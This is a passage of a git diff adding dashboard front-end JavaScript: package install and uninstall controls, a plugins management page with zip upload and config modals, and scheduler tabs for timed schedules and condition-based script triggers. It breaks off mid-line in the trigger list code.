+932,81 @@ function stopOutputPolling(actionId) { pollingTimers.delete(actionId); } } + +/* ── Package Management ────────────────────────────── */ + +async function installPackage() { + const input = document.getElementById('pkgNameInput'); + const name = (input?.value || '').trim(); + if (!name) return; + + if (!/^[a-zA-Z0-9._-]+$/.test(name)) { + toast('Invalid package name', 3000, 'error'); + return; + } + + const consoleEl = document.getElementById('pkgConsole'); + if (consoleEl) { + consoleEl.classList.add('active'); + consoleEl.textContent = ''; + } + + const evtSource = new EventSource(`/api/packages/install?name=${encodeURIComponent(name)}`); + evtSource.onmessage = (event) => { + const data = JSON.parse(event.data); + if (data.line && consoleEl) { + consoleEl.textContent += data.line + '\n'; + consoleEl.scrollTop = consoleEl.scrollHeight; + } + if (data.done) { + evtSource.close(); + if (data.success) { + toast(`${name} installed successfully`, 3000, 'success'); + loadPackages(); + } else { + toast(`Failed to install ${name}`, 3000, 'error'); + } + } + }; + evtSource.onerror = () => { + evtSource.close(); + toast('Install connection lost', 3000, 'error'); + }; +} + +async function loadPackages() { + try { + const resp = await api.post('/api/packages/list', {}); + if (resp.status === 'success') { + const list = document.getElementById('pkgList'); + if (!list) return; + empty(list); + for (const pkg of resp.data) { + list.appendChild(el('li', { class: 'pkg-item' }, [ + el('span', {}, [ + el('span', { class: 'pkg-name' }, [pkg.name]), + el('span', { class: 'pkg-version' }, [pkg.version || '']), + ]), + el('button', { class: 'pkg-uninstall-btn', type: 'button', onClick: () => uninstallPackage(pkg.name) }, ['Uninstall']), + ])); + } + } + } catch (err) { + toast(`Failed to load packages: ${err.message}`, 2600, 'error'); + } +} + +async function uninstallPackage(name) { + if (!confirm(`Uninstall ${name}?`)) return; + try { + const resp = await api.post('/api/packages/uninstall', { name }); + if (resp.status === 'success') { + toast(`${name} uninstalled`, 3000, 'success'); + loadPackages(); + } else { + toast(resp.message || 'Failed', 3000, 'error'); + } + } catch (err) { + toast(`Uninstall error: ${err.message}`, 2600, 'error'); + } +} diff --git a/web/js/pages/plugins.js b/web/js/pages/plugins.js new file mode 100644 index 0000000..2b564e0 --- /dev/null +++ b/web/js/pages/plugins.js @@ -0,0 +1,401 @@ +/** + * Plugins page - Install, configure, enable/disable, and uninstall plugins. + * @module pages/plugins + */ + +import { api } from '../core/api.js'; +import { $, el, escapeHtml, toast } from '../core/dom.js'; +import { t } from '../core/i18n.js'; + +/* ------------------------------------------------------------------ */ +/* State */ +/* ------------------------------------------------------------------ */ + +let root = null; +let plugins = []; +let activeConfigId = null; // plugin ID whose config modal is open + +const TYPE_BADGES = { + action: { label: 'Action', cls: 'badge-action' }, + notifier: { label: 'Notifier', cls: 'badge-notifier' }, + enricher: { label: 'Enricher', cls: 'badge-enricher' }, + exporter: { label: 'Exporter', cls: 'badge-exporter' }, + ui_widget:{ label: 'Widget', cls: 'badge-widget' }, +}; + +const STATUS_LABELS = { + loaded: 'Loaded', + disabled: 'Disabled', + error: 'Error', + missing: 'Missing', + not_installed: 'Not installed', +}; + +/* ------------------------------------------------------------------ */ +/* Lifecycle */ +/* ------------------------------------------------------------------ */ + +export async function mount(container) { + root = el('div', { class: 'plugins-page' }); + container.appendChild(root); + await loadPlugins(); + render(); +} + +export function unmount() { + // Close config modal if open + const modal = document.getElementById('pluginConfigModal'); + if (modal) modal.remove(); + + // Clear DOM reference (listeners on removed DOM are GC'd by browser) + if (root && root.parentNode) { + root.parentNode.removeChild(root); + } + root = null; + plugins = []; + activeConfigId = null; +} + +/* ------------------------------------------------------------------ */ +/* Data */ +/* ------------------------------------------------------------------ */ + +async function loadPlugins() { + try { + const res = await api.get('/api/plugins/list', { timeout: 10000, retries: 0 }); + plugins = Array.isArray(res?.data) ? res.data : []; + } catch { + plugins = []; + } +} + +/* ------------------------------------------------------------------ */ +/* Rendering */ +/* ------------------------------------------------------------------ */ + +function render() { + if (!root) return; + root.innerHTML = ''; + + // Header + const header = el('div', { class: 'plugins-header' }, [ + el('h1', {}, ['Plugins']), + el('div', { class: 'plugins-actions' }, [ + buildInstallButton(), + el('button', { + class: 'btn btn-sm', + onclick: async () => { await loadPlugins(); render(); }, + }, ['Reload']), + ]), + ]); + root.appendChild(header); + + // Plugin count + const loaded = plugins.filter(p => p.status === 'loaded').length; + root.appendChild(el('p', { class: 'plugins-count' }, [ + `${plugins.length} plugin(s) installed, ${loaded} active` + ])); + + // Cards + if (plugins.length === 0) { + root.appendChild(el('div', { class: 'plugins-empty' }, [ + el('p', {}, ['No plugins installed.']), + el('p', {}, ['Drop a .zip plugin archive or use the Install button above.']), + ])); + } else { + const grid = el('div', { class: 'plugins-grid' }); + for (const p of plugins) { + grid.appendChild(buildPluginCard(p)); + } + root.appendChild(grid); + } + + // Config modal (if open) + if (activeConfigId) { + renderConfigModal(activeConfigId); + } +} + +function buildPluginCard(p) { + const typeBadge = TYPE_BADGES[p.type] || { label: p.type, cls: '' }; + const statusLabel = STATUS_LABELS[p.status] || p.status; + const statusCls = `status-${p.status}`; + + const card = el('div', { class: `plugin-card ${p.enabled ? '' : 'plugin-disabled'}` }, [ + // Top row: name + toggle + el('div', { class: 'plugin-card-head' }, [ + el('div', { class: 'plugin-card-title' }, [ + el('strong', {}, [escapeHtml(p.name || p.id)]), + el('span', { class: `plugin-type-badge ${typeBadge.cls}` }, [typeBadge.label]), + el('span', { class: `plugin-status ${statusCls}` }, [statusLabel]), + ]), + buildToggle(p), + ]), + + // Info + el('div', { class: 'plugin-card-info' }, [ + el('p', { class: 'plugin-desc' }, [escapeHtml(p.description || '')]), + el('div', { class: 'plugin-meta' }, [ + el('span', {}, [`v${escapeHtml(p.version || '?')}`]), + p.author ? el('span', {}, [`by ${escapeHtml(p.author)}`]) : null, + ]), + ]), + + // Hooks + p.hooks && p.hooks.length ? el('div', { class: 'plugin-hooks' }, + p.hooks.map(h => el('span', { class: 'hook-badge' }, [h])) + ) : null, + + // Error message + p.error ? el('div', { class: 'plugin-error' }, [escapeHtml(p.error)]) : null, + + // Dependencies warning + p.dependencies && !p.dependencies.ok + ? el('div', { class: 'plugin-deps-warn' }, [ + 'Missing: ' + p.dependencies.missing.join(', ') + ]) + : null, + + // Actions + el('div', { class: 'plugin-card-actions' }, [ + p.has_config ? el('button', { + class: 'btn btn-sm', + onclick: () => openConfig(p.id), + }, ['Configure']) : null, + el('button', { + class: 'btn btn-sm btn-danger', + onclick: () => confirmUninstall(p.id, p.name), + }, ['Uninstall']), + ]), + ]); + + return card; +} + +function buildToggle(p) { + const toggle = el('label', { class: 'plugin-toggle' }, [ + el('input', { + type: 'checkbox', + ...(p.enabled ? { checked: 'checked' } : {}), + onchange: async (e) => { + const enabled = e.target.checked; + try { + await api.post('/api/plugins/toggle', { id: p.id, enabled: enabled ? 1 : 0 }); + toast(`${p.name} ${enabled ? 'enabled' : 'disabled'}`, 2000, 'success'); + await loadPlugins(); + render(); + } catch { + toast('Failed to toggle plugin', 2500, 'error'); + e.target.checked = !enabled; + } + }, + }), + el('span', { class: 'toggle-slider' }), + ]); + return toggle; +} + +function buildInstallButton() { + const fileInput = el('input', { + type: 'file', + accept: '.zip', + style: 'display:none', + onchange: async (e) => { + const file = e.target.files?.[0]; + if (!file) return; + await installPlugin(file); + e.target.value = ''; + }, + }); + + const btn = el('button', { + class: 'btn btn-sm btn-primary', + onclick: () => fileInput.click(), + }, ['+ Install Plugin']); + + return el('div', { style: 'display:inline-block' }, [fileInput, btn]); +} + +/* ------------------------------------------------------------------ */ +/* Config Modal */ +/* ------------------------------------------------------------------ */ + +async function openConfig(pluginId) { + activeConfigId = pluginId; + renderConfigModal(pluginId); +} + +async function renderConfigModal(pluginId) { + // Remove existing modal + const existing = $('#pluginConfigModal'); + if (existing) existing.remove(); + + let schema = {}; + let values = {}; + + try { + const res = await api.get(`/api/plugins/config?id=${encodeURIComponent(pluginId)}`, { timeout: 5000 }); + if (res?.status === 'ok') { + schema = res.schema || {}; + values = res.values || {}; + } + } catch { /* keep defaults */ } + + const fields = Object.entries(schema); + if (fields.length === 0) { + toast('No configurable settings', 2000, 'info'); + activeConfigId = null; + return; + } + + const form = el('div', { class: 'config-form' }); + + for (const [key, spec] of fields) { + const current = values[key] ?? spec.default ?? ''; + const label = spec.label || key; + const inputType = spec.secret ? 'password' : 'text'; + + let input; + if (spec.type === 'bool' || spec.type === 'boolean') { + input = el('input', { + type: 'checkbox', + id: `cfg_${key}`, + 'data-key': key, + ...(current ? { checked: 'checked' } : {}), + }); + } else if (spec.type === 'select' && Array.isArray(spec.choices)) { + input = el('select', { id: `cfg_${key}`, 'data-key': key }, + spec.choices.map(c => el('option', { + value: c, + ...(c === current ? { selected: 'selected' } : {}), + }, [String(c)])) + ); + } else if (spec.type === 'number' || spec.type === 'int' || spec.type === 'float') { + input = el('input', { + type: 'number', + id: `cfg_${key}`, + 'data-key': key, + value: String(current), + ...(spec.min != null ? { min: String(spec.min) } : {}), + ...(spec.max != null ? { max: String(spec.max) } : {}), + }); + } else { + input = el('input', { + type: inputType, + id: `cfg_${key}`, + 'data-key': key, + value: String(current), + placeholder: spec.placeholder || '', + }); + } + + form.appendChild(el('div', { class: 'config-field' }, [ + el('label', { for: `cfg_${key}` }, [label]), + input, + spec.help ? el('small', { class: 'config-help' }, [spec.help]) : null, + ])); + } + + const modal = el('div', { class: 'modal-overlay', id: 'pluginConfigModal' }, [ + el('div', { class: 'modal-content plugin-config-modal' }, [ + el('div', { class: 'modal-header' }, [ + el('h3', {}, [`Configure: ${escapeHtml(pluginId)}`]), + el('button', { class: 'modal-close', onclick: closeConfig }, ['X']), + ]), + form, + el('div', { class: 'modal-footer' }, [ + el('button', { class: 'btn', onclick: closeConfig }, ['Cancel']), + el('button', { + class: 'btn btn-primary', + onclick: () => saveConfig(pluginId), + }, ['Save']), + ]), + ]), + ]); + + (root || document.body).appendChild(modal); +} + +function closeConfig() { + activeConfigId = null; + const modal = $('#pluginConfigModal'); + if (modal) modal.remove(); +} + +async function saveConfig(pluginId) { + const modal = $('#pluginConfigModal'); + if (!modal) return; + + const config = {}; + const inputs = modal.querySelectorAll('[data-key]'); + for (const input of inputs) { + const key = input.getAttribute('data-key'); + if (input.type === 'checkbox') { + config[key] = input.checked; + } else { + config[key] = input.value; + } + } + + try { + const res = await api.post('/api/plugins/config', { id: pluginId, config }); + if (res?.status === 'ok') { + toast('Configuration saved', 2000, 'success'); + closeConfig(); + } else { + toast(res?.message || 'Save failed', 2500, 'error'); + } + } catch { + toast('Failed to save configuration', 2500, 'error'); + } +} + +/* ------------------------------------------------------------------ */ +/* Install / Uninstall */ +/* ------------------------------------------------------------------ */ + +async function installPlugin(file) { + try { + toast('Installing plugin...', 3000, 'info'); + const formData = new FormData(); + formData.append('plugin', file); + + const res = await fetch('/api/plugins/install', { + method: 'POST', + body: formData, + }); + const data = await res.json(); + + if (data?.status === 'ok') { + toast(`Plugin "${data.name || data.plugin_id}" installed`, 3000, 'success'); + await loadPlugins(); + render(); + } else { + toast(data?.message || 'Install failed', 4000, 'error'); + } + } catch (e) { + toast(`Install error: ${e.message}`, 4000, 'error'); + } +} + +function confirmUninstall(pluginId, name) { + if (!confirm(`Uninstall plugin "${name || pluginId}"? This will remove all plugin files.`)) { + return; + } + uninstallPlugin(pluginId); +} + +async function uninstallPlugin(pluginId) { + try { + const res = await api.post('/api/plugins/uninstall', { id: pluginId }); + if (res?.status === 'ok') { + toast('Plugin uninstalled', 2000, 'success'); + await loadPlugins(); + render(); + } else { + toast(res?.message || 'Uninstall failed', 3000, 'error'); + } + } catch { + toast('Failed to uninstall plugin', 3000, 'error'); + } +} diff --git a/web/js/pages/scheduler.js b/web/js/pages/scheduler.js index 802245e..ec49d4a 100644 --- a/web/js/pages/scheduler.js +++ b/web/js/pages/scheduler.js @@ -5,8 +5,9 @@ */ import { ResourceTracker } from '../core/resource-tracker.js'; import { api, Poller } from '../core/api.js'; -import { el, $, $$, empty } from '../core/dom.js'; +import { el, $, $$, empty, toast } from '../core/dom.js'; import { t } from '../core/i18n.js'; +import { buildConditionEditor, getConditions } from '../core/condition-builder.js'; const PAGE = 'scheduler'; const PAGE_SIZE = 100; @@ -36,6 +37,12 @@ let iconCache = new Map(); /** Map> for incremental updates */ let laneCardMaps = new Map(); +/* ── tab state ── */ +let activeTab = 'queue'; +let schedulePoller = null; +let triggerPoller = null; +let scriptsList = []; + /* ── lifecycle ── */ export async function mount(container) { tracker = new ResourceTracker(PAGE); @@ -43,14 +50,16 @@ export async function mount(container) { tracker.trackEventListener(window, 'keydown', (e) => { if (e.key === 'Escape') closeModal(); }); - await tick(); - setLive(true); + fetchScriptsList(); + switchTab('queue'); } export function unmount() { clearTimeout(searchDeb); searchDeb = null; if (poller) { poller.stop(); poller = null; } + if (schedulePoller) { schedulePoller.stop(); schedulePoller = null; } + if (triggerPoller) { triggerPoller.stop(); triggerPoller = null; } if (clockTimer) { clearInterval(clockTimer); clockTimer = null; } if (tracker) { tracker.cleanupAll(); tracker = null; } lastBuckets = null; @@ -58,6 +67,8 @@ export function unmount() { lastFilterKey = ''; iconCache.clear(); laneCardMaps.clear(); + scriptsList = []; + activeTab = 'queue'; LIVE = true; FOCUS = false; COMPACT = false; COLLAPSED = false; INCLUDE_SUPERSEDED = false; } @@ -66,21 +77,38 @@ export function unmount() { function buildShell() { return el('div', { class: 'scheduler-container' }, [ el('div', { id: 'sched-errorBar', class: 'notice', style: 'display:none' }), - el('div', { class: 'controls' }, [ - el('input', { - type: 'text', id: 'sched-search', placeholder: t('sched.filterPlaceholder'), - oninput: onSearch - }), - pill('sched-liveBtn', t('common.on'), true, () => setLive(!LIVE)), - pill('sched-refBtn', t('common.refresh'), false, () => tick()), - pill('sched-focBtn', t('sched.focusActive'), false, () => { FOCUS = !FOCUS; $('#sched-focBtn')?.classList.toggle('active', FOCUS); lastFilterKey = ''; tick(); }), - pill('sched-cmpBtn', t('sched.compact'), false, () => { COMPACT = !COMPACT; $('#sched-cmpBtn')?.classList.toggle('active', COMPACT); lastFilterKey = ''; tick(); }), - pill('sched-colBtn', t('sched.collapse'), false, toggleCollapse), - pill('sched-supBtn', INCLUDE_SUPERSEDED ? t('sched.hideSuperseded') : t('sched.showSuperseded'), false, toggleSuperseded), - el('span', { id: 'sched-stats', class: 'stats' }), + /* ── tab bar ── */ + el('div', { class: 'sched-tabs' }, [ + el('button', { class: 'sched-tab sched-tab-active', 'data-tab': 'queue', onclick: () => switchTab('queue') }, ['Queue']), + el('button', { class: 'sched-tab', 'data-tab': 'schedules', onclick: () => switchTab('schedules') }, ['Schedules']), + el('button', { class: 'sched-tab', 'data-tab': 'triggers', onclick: () => switchTab('triggers') }, ['Triggers']), ]), - el('div', { id: 'sched-boardWrap', class: 'boardWrap' }, [ - el('div', { id: 'sched-board', class: 'board' }), + /* ── Queue tab content (existing kanban) ── */ + el('div', { id: 'sched-tab-queue', class: 'sched-tab-content' }, [ + el('div', { class: 'controls' }, [ + el('input', { + type: 'text', id: 'sched-search', placeholder: t('sched.filterPlaceholder'), + oninput: onSearch + }), + pill('sched-liveBtn', t('common.on'), true, () => setLive(!LIVE)), + pill('sched-refBtn', t('common.refresh'), false, () => tick()), + pill('sched-focBtn', t('sched.focusActive'), false, () => { FOCUS = !FOCUS; $('#sched-focBtn')?.classList.toggle('active', FOCUS); lastFilterKey = ''; tick(); }), + pill('sched-cmpBtn', t('sched.compact'), false, () => { COMPACT = !COMPACT; $('#sched-cmpBtn')?.classList.toggle('active', COMPACT); lastFilterKey = ''; tick(); }), + pill('sched-colBtn', t('sched.collapse'), false, toggleCollapse), + pill('sched-supBtn', INCLUDE_SUPERSEDED ? t('sched.hideSuperseded') : t('sched.showSuperseded'), false, toggleSuperseded), + el('span', { id: 'sched-stats', class: 'stats' }), + ]), + el('div', { id: 'sched-boardWrap', class: 'boardWrap' }, [ + el('div', { id: 'sched-board', class: 'board' }), + ]), + ]), + /* ── Schedules tab content ── */ + el('div', { id: 'sched-tab-schedules', class: 'sched-tab-content', style: 'display:none' }, [ + buildSchedulesPanel(), + ]), + /* ── Triggers tab content ── */ + el('div', { id: 'sched-tab-triggers', class: 'sched-tab-content', style: 'display:none' }, [ + buildTriggersPanel(), ]), /* history modal */ el('div', { @@ -103,6 +131,485 @@ function buildShell() { ]); } +/* ── tab switching ── */ +function switchTab(tab) { + activeTab = tab; + + /* update tab buttons */ + $$('.sched-tab').forEach(btn => { + btn.classList.toggle('sched-tab-active', btn.dataset.tab === tab); + }); + + /* show/hide tab content */ + ['queue', 'schedules', 'triggers'].forEach(id => { + const panel = $(`#sched-tab-${id}`); + if (panel) panel.style.display = id === tab ? '' : 'none'; + }); + + /* stop all pollers first */ + if (poller) { poller.stop(); poller = null; } + if (schedulePoller) { schedulePoller.stop(); schedulePoller = null; } + if (triggerPoller) { triggerPoller.stop(); triggerPoller = null; } + + /* start relevant pollers */ + if (tab === 'queue') { + tick(); + setLive(true); + } else if (tab === 'schedules') { + refreshScheduleList(); + schedulePoller = new Poller(refreshScheduleList, 10000, { immediate: false }); + schedulePoller.start(); + } else if (tab === 'triggers') { + refreshTriggerList(); + triggerPoller = new Poller(refreshTriggerList, 10000, { immediate: false }); + triggerPoller.start(); + } +} + +/* ── fetch scripts list ── */ +async function fetchScriptsList() { + try { + const data = await api.get('/list_scripts', { timeout: 12000 }); + scriptsList = Array.isArray(data) ? data : (data?.scripts || data?.actions || []); + } catch (e) { + scriptsList = []; + } +} + +function populateScriptSelect(selectEl) { + empty(selectEl); + selectEl.appendChild(el('option', { value: '' }, ['-- Select script --'])); + scriptsList.forEach(s => { + const name = typeof s === 'string' ? s : (s.name || s.action_name || ''); + if (name) selectEl.appendChild(el('option', { value: name }, [name])); + }); +} + +/* ══════════════════════════════════════════════════════════════════ + SCHEDULES TAB + ══════════════════════════════════════════════════════════════════ */ + +function buildSchedulesPanel() { + return el('div', { class: 'schedules-panel' }, [ + buildScheduleForm(), + el('div', { id: 'sched-schedule-list' }), + ]); +} + +function buildScheduleForm() { + const typeToggle = el('select', { id: 'sched-sform-type', onchange: onScheduleTypeChange }, [ + el('option', { value: 'recurring' }, ['Recurring']), + el('option', { value: 'oneshot' }, ['One-shot']), + ]); + + const presets = [ + { label: '60s', val: 60 }, { label: '5m', val: 300 }, { label: '15m', val: 900 }, + { label: '30m', val: 1800 }, { label: '1h', val: 3600 }, { label: '6h', val: 21600 }, + { label: '24h', val: 86400 }, + ]; + + const intervalRow = el('div', { id: 'sched-sform-interval-row' }, [ + el('label', {}, ['Interval (seconds): ']), + el('input', { type: 'number', id: 'sched-sform-interval', min: '1', value: '300', style: 'width:100px' }), + el('span', { style: 'margin-left:8px' }, + presets.map(p => + el('button', { + class: 'pill', type: 'button', style: 'margin:0 2px', + onclick: () => { const inp = $('#sched-sform-interval'); if (inp) inp.value = p.val; } + }, [p.label]) + ) + ), + ]); + + const runAtRow = el('div', { id: 'sched-sform-runat-row', style: 'display:none' }, [ + el('label', {}, ['Run at: ']), + el('input', { type: 'datetime-local', id: 'sched-sform-runat' }), + ]); + + return el('div', { class: 'schedules-form' }, [ + el('h3', {}, ['Create Schedule']), + el('div', { class: 'form-row' }, [ + el('label', {}, ['Script: ']), + el('select', { id: 'sched-sform-script' }), + ]), + el('div', { class: 'form-row' }, [ + el('label', {}, ['Type: ']), + typeToggle, + ]), + intervalRow, + runAtRow, + el('div', { class: 'form-row' }, [ + el('label', {}, ['Args (optional): ']), + el('input', { type: 'text', id: 'sched-sform-args', placeholder: 'CLI arguments' }), + ]), + el('div', { class: 'form-row' }, [ + el('button', { class: 'btn', onclick: createSchedule }, ['Create']), + ]), + ]); +} + +function onScheduleTypeChange() { + const type = $('#sched-sform-type')?.value; + const intervalRow = $('#sched-sform-interval-row'); + const runAtRow = $('#sched-sform-runat-row'); + if (intervalRow) intervalRow.style.display = type === 'recurring' ? '' : 'none'; + if (runAtRow) runAtRow.style.display = type === 'oneshot' ? '' : 'none'; +} + +async function createSchedule() { + const script = $('#sched-sform-script')?.value; + if (!script) { toast('Please select a script', 2600, 'error'); return; } + + const type = $('#sched-sform-type')?.value || 'recurring'; + const args = $('#sched-sform-args')?.value || ''; + + const payload = { script, type, args }; + if (type === 'recurring') { + payload.interval = parseInt($('#sched-sform-interval')?.value || '300', 10); + } else { + payload.run_at = $('#sched-sform-runat')?.value || ''; + if (!payload.run_at) { toast('Please set a run time', 2600, 'error'); return; } + } + + try { + await api.post('/api/schedules/create', payload); + toast('Schedule created'); + refreshScheduleList(); + } catch (e) { + toast('Failed to create schedule: ' + e.message, 3000, 'error'); + } +} + +async function refreshScheduleList() { + const container = $('#sched-schedule-list'); + if (!container) return; + + /* also refresh script selector */ + const sel = $('#sched-sform-script'); + if (sel && sel.children.length <= 1) populateScriptSelect(sel); + + try { + const data = await api.post('/api/schedules/list', {}); + const schedules = Array.isArray(data) ? data : (data?.schedules || []); + renderScheduleList(container, schedules); + } catch (e) { + empty(container); + container.appendChild(el('div', { class: 'notice error' }, ['Failed to load schedules: ' + e.message])); + } +} + +function renderScheduleList(container, schedules) { + empty(container); + if (!schedules.length) { + container.appendChild(el('div', { class: 'empty' }, ['No schedules configured'])); + return; + } + + schedules.forEach(s => { + const typeBadge = el('span', { class: `badge status-${s.type === 'recurring' ? 'running' : 'upcoming'}` }, [s.type || 'recurring']); + const timing = s.type === 'oneshot' + ? `Run at: ${fmt(s.run_at)}` + : `Every ${ms2str((s.interval || 0) * 1000)}`; + + const nextRun = s.next_run_at ? `Next: ${fmt(s.next_run_at)}` : ''; + const statusBadge = s.last_status + ? el('span', { class: `badge status-${s.last_status}` }, [s.last_status]) + : el('span', { class: 'badge' }, ['never run']); + + const toggleBtn = el('label', { class: 'toggle-switch' }, [ + el('input', { + type: 'checkbox', + checked: s.enabled !== false, + onchange: () => toggleSchedule(s.id, !s.enabled) + }), + el('span', { class: 'toggle-slider' }), + ]); + + const deleteBtn = el('button', { class: 'btn danger', onclick: () => deleteSchedule(s.id) }, ['Delete']); + const editBtn = el('button', { class: 'btn', onclick: () => editScheduleInline(s) }, ['Edit']); + + container.appendChild(el('div', { class: 'card', 'data-schedule-id': s.id }, [ + el('div', { class: 'cardHeader' }, [ + el('div', { class: 'actionName' }, [ + el('span', { class: 'chip', style: `--h:${hashHue(s.script || '')}` }, [s.script || '']), + ]), + typeBadge, + toggleBtn, + ]), + el('div', { class: 'meta' }, [ + el('span', {}, [timing]), + nextRun ? el('span', {}, [nextRun]) : null, + el('span', {}, [`Runs: ${s.run_count || 0}`]), + statusBadge, + ].filter(Boolean)), + s.args ? el('div', { class: 'kv' }, [el('span', {}, [`Args: ${s.args}`])]) : null, + el('div', { class: 'btns' }, [editBtn, deleteBtn]), + ].filter(Boolean))); + }); +} + +async function toggleSchedule(id, enabled) { + try { + await api.post('/api/schedules/toggle', { id, enabled }); + toast(enabled ? 'Schedule enabled' : 'Schedule disabled'); + refreshScheduleList(); + } catch (e) { + toast('Toggle failed: ' + e.message, 3000, 'error'); + } +} + +async function deleteSchedule(id) { + if (!confirm('Delete this schedule?')) return; + try { + await api.post('/api/schedules/delete', { id }); + toast('Schedule deleted'); + refreshScheduleList(); + } catch (e) { + toast('Delete failed: ' + e.message, 3000, 'error'); + } +} + +function editScheduleInline(s) { + const card = $(`[data-schedule-id="${s.id}"]`); + if (!card) return; + + empty(card); + + const isRecurring = s.type === 'recurring'; + + card.appendChild(el('div', { class: 'schedules-form' }, [ + el('h3', {}, ['Edit Schedule']), + el('div', { class: 'form-row' }, [ + el('label', {}, ['Script: ']), + (() => { + const sel = el('select', { id: `sched-edit-script-${s.id}` }); + populateScriptSelect(sel); + sel.value = s.script || ''; + return sel; + })(), + ]), + el('div', { class: 'form-row' }, [ + el('label', {}, ['Type: ']), + (() => { + const sel = el('select', { id: `sched-edit-type-${s.id}` }, [ + el('option', { value: 'recurring' }, ['Recurring']), + el('option', { value: 'oneshot' }, ['One-shot']), + ]); + sel.value = s.type || 'recurring'; + return sel; + })(), + ]), + isRecurring + ? el('div', { class: 'form-row' }, [ + el('label', {}, ['Interval (seconds): ']), + el('input', { type: 'number', id: `sched-edit-interval-${s.id}`, value: String(s.interval || 300), min: '1', style: 'width:100px' }), + ]) + : el('div', { class: 'form-row' }, [ + el('label', {}, ['Run at: ']), + el('input', { type: 'datetime-local', id: `sched-edit-runat-${s.id}`, value: s.run_at || '' }), + ]), + el('div', { class: 'form-row' }, [ + el('label', {}, ['Args: ']), + el('input', { type: 'text', id: `sched-edit-args-${s.id}`, value: s.args || '' }), + ]), + el('div', { class: 'form-row' }, [ + el('button', { class: 'btn', onclick: async () => { + const payload = { + id: s.id, + script: $(`#sched-edit-script-${s.id}`)?.value, + type: $(`#sched-edit-type-${s.id}`)?.value, + args: $(`#sched-edit-args-${s.id}`)?.value || '', + }; + if (payload.type === 'recurring') { + payload.interval = parseInt($(`#sched-edit-interval-${s.id}`)?.value || '300', 10); + } else { + payload.run_at = $(`#sched-edit-runat-${s.id}`)?.value || ''; + } + try { + await api.post('/api/schedules/update', payload); + toast('Schedule updated'); + refreshScheduleList(); + } catch (e) { + toast('Update failed: ' + e.message, 3000, 'error'); + } + }}, ['Save']), + el('button', { class: 'btn warn', onclick: () => refreshScheduleList() }, ['Cancel']), + ]), + ])); +} + +/* ══════════════════════════════════════════════════════════════════ + TRIGGERS TAB + ══════════════════════════════════════════════════════════════════ */ + +function buildTriggersPanel() { + return el('div', { class: 'triggers-panel' }, [ + buildTriggerForm(), + el('div', { id: 'sched-trigger-list' }), + ]); +} + +function buildTriggerForm() { + const conditionContainer = el('div', { id: 'sched-tform-conditions' }); + + const form = el('div', { class: 'triggers-form' }, [ + el('h3', {}, ['Create Trigger']), + el('div', { class: 'form-row' }, [ + el('label', {}, ['Script: ']), + el('select', { id: 'sched-tform-script' }), + ]), + el('div', { class: 'form-row' }, [ + el('label', {}, ['Trigger name: ']), + el('input', { type: 'text', id: 'sched-tform-name', placeholder: 'Trigger name' }), + ]), + el('div', { class: 'form-row' }, [ + el('label', {}, ['Conditions:']), + conditionContainer, + ]), + el('div', { class: 'form-row' }, [ + el('label', {}, ['Cooldown (seconds): ']), + el('input', { type: 'number', id: 'sched-tform-cooldown', value: '60', min: '0', style: 'width:100px' }), + ]), + el('div', { class: 'form-row' }, [ + el('label', {}, ['Args (optional): ']), + el('input', { type: 'text', id: 'sched-tform-args', placeholder: 'CLI arguments' }), + ]), + el('div', { class: 'form-row' }, [ + el('button', { class: 'btn', onclick: testTriggerConditions }, ['Test Conditions']), + el('span', { id: 'sched-tform-test-result', style: 'margin-left:8px' }), + ]), + el('div', { class: 'form-row' }, [ + el('button', { class: 'btn', onclick: createTrigger }, ['Create Trigger']), + ]), + ]); + + /* initialize condition builder after DOM is ready */ + setTimeout(() => { + const cond = $('#sched-tform-conditions'); + if (cond) buildConditionEditor(cond); + }, 0); + + return form; +} + +async function testTriggerConditions() { + const condContainer = $('#sched-tform-conditions'); + const resultEl = $('#sched-tform-test-result'); + if (!condContainer || !resultEl) return; + + const conditions = getConditions(condContainer); + try { + const data = await api.post('/api/triggers/test', { conditions }); + resultEl.textContent = data?.result ? 'Result: TRUE' : 'Result: FALSE'; + resultEl.style.color = data?.result ? 'var(--green, #0f0)' : 'var(--red, #f00)'; + } catch (e) { + resultEl.textContent = 'Test failed: ' + e.message; + resultEl.style.color = 'var(--red, #f00)'; + } +} + +async function createTrigger() { + const script = $('#sched-tform-script')?.value; + const name = $('#sched-tform-name')?.value; + if (!script) { toast('Please select a script', 2600, 'error'); return; } + if (!name) { toast('Please enter a trigger name', 2600, 'error'); return; } + + const condContainer = $('#sched-tform-conditions'); + const conditions = condContainer ? getConditions(condContainer) : []; + const cooldown = parseInt($('#sched-tform-cooldown')?.value || '60', 10); + const args = $('#sched-tform-args')?.value || ''; + + try { + await api.post('/api/triggers/create', { script, name, conditions, cooldown, args }); + toast('Trigger created'); + $('#sched-tform-name').value = ''; + refreshTriggerList(); + } catch (e) { + toast('Failed to create trigger: ' + e.message, 3000, 'error'); + } +} + +async function refreshTriggerList() { + const container = $('#sched-trigger-list'); + if (!container) return; + + /* also refresh script selector */ + const sel = $('#sched-tform-script'); + if (sel && sel.children.length <= 1) populateScriptSelect(sel); + + try { + const data = await api.post('/api/triggers/list', {}); + const triggers = Array.isArray(data) ? data : (data?.triggers || []); + renderTriggerList(container, triggers); + } catch (e) { + empty(container); + container.appendChild(el('div', { class: 'notice error' }, ['Failed to load triggers: ' + e.message])); + } +} + +function renderTriggerList(container, triggers) { + empty(container); + if (!triggers.length) { + container.appendChild(el('div', { class: 'empty' }, ['No triggers configured'])); + return; + } + + triggers.forEach(trig => { + const condCount = Array.isArray(trig.conditions) ? trig.conditions.length : 0; + + const toggleBtn = el('label', { class: 'toggle-switch' }, [ + el('input', { + type: 'checkbox', + checked: trig.enabled !== false, + onchange: () => toggleTrigger(trig.id, !trig.enabled) + }), + el('span', { class: 'toggle-slider' }), + ]); + + const deleteBtn = el('button', { class: 'btn danger', onclick: () => deleteTrigger(trig.id) }, ['Delete']); + + container.appendChild(el('div', { class: 'card' }, [ + el('div', { class: 'cardHeader' }, [ + el('div', { class: 'actionName' }, [ + el('strong', {}, [trig.name || '']), + el('span', { style: 'margin-left:8px' }, [' \u2192 ']), + el('span', { class: 'chip', style: `--h:${hashHue(trig.script || '')}` }, [trig.script || '']), + ]), + toggleBtn, + ]), + el('div', { class: 'meta' }, [ + el('span', {}, [`${condCount} condition${condCount !== 1 ? 's' : ''}`]), + el('span', {}, [`Cooldown: ${ms2str(( trig.cooldown || 0) * 1000)}`]), + el('span', {}, [`Fired: ${trig.fire_count || 0}`]), + trig.last_fired_at ? el('span', {}, [`Last: ${fmt(trig.last_fired_at)}`]) : null, + ].filter(Boolean)), + trig.args ? el('div', { class: 